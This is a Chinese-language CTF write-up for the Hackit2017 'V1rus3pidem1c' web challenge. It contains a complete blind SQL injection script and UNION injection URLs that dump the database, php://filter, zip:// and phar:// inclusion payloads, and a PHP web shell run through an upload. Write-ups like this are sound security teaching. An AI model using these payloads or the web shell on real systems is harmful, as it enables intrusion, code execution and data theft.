Chybeta

Hackit2017-V1rus3pidem1c-writeup

Hackit2017-V1rus3pidem1c-writeup
sql注入
php伪协议:php://filter,zip://,phar://

Task

1
2
3
4
5
6
7
Description: Hackers created an automated site for virus attacks on the Government. You must find and catch them all!
Attachment: (none)
Webpage: http://tasks.ctf.com.ua:13372
Hint: (none)

先看看基本的功能,你可以选择对应的国家,然后上传你的virus,但题目没有返回上传后的保存的文件路径信息。

Solution

sql注入

点一下send,会发现url变为:

1
http://tasks.ctf.com.ua:13372/index.php?country=Germany

对于get参数,首先想的一般是sql注入;

1
python sqlmap.py -u http://tasks.ctf.com.ua:13372/index.php?country=Germany

接下去用下面的脚本注出数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://tasks.ctf.com.ua:13372/index.php?country=" + payload
# headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.get(url,proxies=proxy)
return content.text
flag = "Select virus for Germany"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x57484154415245594f55444f494e4748455245)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x636f756e7472696573)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(countryID,0x3a,countryName,0x3a,scriptPath%09SEPARATOR%090x3c62723e)%09FROM%09countries)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = "' or (select ascii(substr(" +generateTarget(target) + " from "+ str(i) +" for 1))<= "+str(midNum) +" )%23"
# print payload
recv = sendPayload(payload)
# print recv
if flag in recv:
# print 'cuowu'
# raw_input()
doubleSearch(leftNum,midNum,i,target)
else:
# print 'chenggong'
# raw_input()
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
# print rightNum
# raw_input()
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
i = 1
findBit = 0
print "The tables:"
target = "tables"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
i = 1
findBit = 0
print "The columns:"
target = "columns"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
i = 1
findBit = 0
print "The data:"
target = "data"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

得到数据库WHATAREYOUDOINGHERE中countries表中的数据:

1
2
3
4
5
6
7
8
9
10
11
countryID:countryName:scriptPath
1:Germany:country/ge.php
2:Turkmenistan:country/tu.php
3:Netherlands:country/ne.php
4:Serbia:country/se.php
5:Turkey:country/tk.php
6:France:country/fr.php
7:UK:country/uk.php
8:Russia:country/ru.php
9:USA:country/us.php
10:Canada:country/ca.php

读取源码

接下来看看还能做啥。初步尝试发现应该是只有1列

1
http://tasks.ctf.com.ua:13372/index.php?country=Germany' union select 1 -- -

1
http://tasks.ctf.com.ua:13372/index.php?country=Germany' union select 1,2 -- -

尝试使用php伪协议:

1
http://tasks.ctf.com.ua:13372/index.php?country=' union select 'php://filter/read=convert.base64-encode/resource=index.php' -- -

base64解码一下,其中有段code:

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['country'])){
$link = mysqli_connect("127.0.0.1", "beeber", "eouejvnbinrwviewrJNHUFEjnkwfowe", "WHATAREYOUDOINGHERE");
$result = mysqli_query($link, "SELECT scriptPath FROM countries WHERE countryName='".$_GET['country']."';");
$res_include = $result->fetch_object()->scriptPath;
//echo 'Get file: '.$res_include.'<br><br>';
include $res_include;
};

include哪一个页面是根据从数据库中取出的脚本的路径决定的。根据我们前面利用脚本注出来的结果,我们看看country/ge.php中的源码:

1
2
3
4
5
6
7
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
?>

从country/ge.php源码中,我们知道了文件上传后保存在uploads文件夹下,文件名也没有改变。

getflag

姿势一

直接上传php文件再去访问uploads下的文件是无法解析的。

可以利用zip协议或者phar协议来进行文件包含。

chybeta.php:

1
2
3
<?php
system('ls');
?>

打包成chybeta.zip,上传后访问:

1
http://tasks.ctf.com.ua:13372/index.php?country=' union select 'zip://uploads/chybeta.zip%23chybeta.php' -- -

或者访问:

1
http://tasks.ctf.com.ua:13372/index.php?country=' union select 'phar://uploads/chybeta.zip/chybeta.php' -- -

接下去我们利用php伪协议读取iulersiueruigfuihseruhgi.php的内容:

1
http://tasks.ctf.com.ua:13372/index.php?country=' union select 'php://filter/read=convert.base64-encode/resource=iulersiueruigfuihseruhgi.php

解码后得到flag:

1
h4ck1t{$QL&LFI=FR13ND$}

姿势二

chybeta.php:

1
2
3
<?php
system($_GET['chybeta']);
?>

上传后可以直接访问:

1
http://tasks.ctf.com.ua:13372/index.php?chybeta=ls&country=' union select 'uploads/chybeta.php' -- -

1
view-source:http://tasks.ctf.com.ua:13372/index.php?chybeta=cat iulersiueruigfuihseruhgi.php&country=' union select 'uploads/chybeta.php' -- -

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Hackit2017-V1rus3pidem1c-writeup

文章作者:chybeta

发布时间:2017年08月28日 - 15:08

最后更新:2017年08月28日 - 19:08

原始链接:http://chybeta.github.io/2017/08/28/Hackit2017-V1rus3pidem1c-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。